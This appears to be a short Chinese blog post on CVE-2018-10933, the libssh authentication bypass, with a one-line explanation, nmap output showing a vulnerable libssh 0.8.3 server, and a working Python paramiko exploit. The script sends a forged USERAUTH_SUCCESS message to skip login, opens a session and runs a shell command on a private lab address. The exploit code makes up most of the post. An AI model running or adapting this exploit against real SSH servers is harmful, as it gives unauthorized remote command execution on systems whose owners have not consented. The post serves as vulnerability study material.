CVE-2018-10933 LibSSH auth bypass

漏洞原理
认证实现错误,
认证分为多个步骤,可以直接跳到成功的步骤
 
 
 
A vulnerability was found in libssh's server-side state machine before versions 0.7.6 and 0.8.4.
 
 
22/tcp open  ssh     libssh 0.8.3 (protocol 2.0)
| ssh-hostkey:
|_  2048 fe:d7:54:08:9d:1c:ba:18:4c:ba:22:3c:75:c9:39:5e (RSA)
 
 
import paramiko
import socket
sock = socket.socket()
try:
   sock.connect((str('192.168.232.198'), int(22)))
 
 
   message = paramiko.message.Message()
   transport = paramiko.transport.Transport(sock)
   transport.start_client()
 
 
   message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
   transport._send_message(message)
 
 
   cmd = transport.open_session()
 
 
   stdin, stdout, stderr = cmd.exec_command("touch /tmp/3")
   res,err = stdout.read(),stderr.read()
   result = res if res else err
 
 
   print(result)
except:
    pass

 

posted @ 2019-12-01 13:44  君莫笑hhhhhh  阅读(76)  评论(0编辑  收藏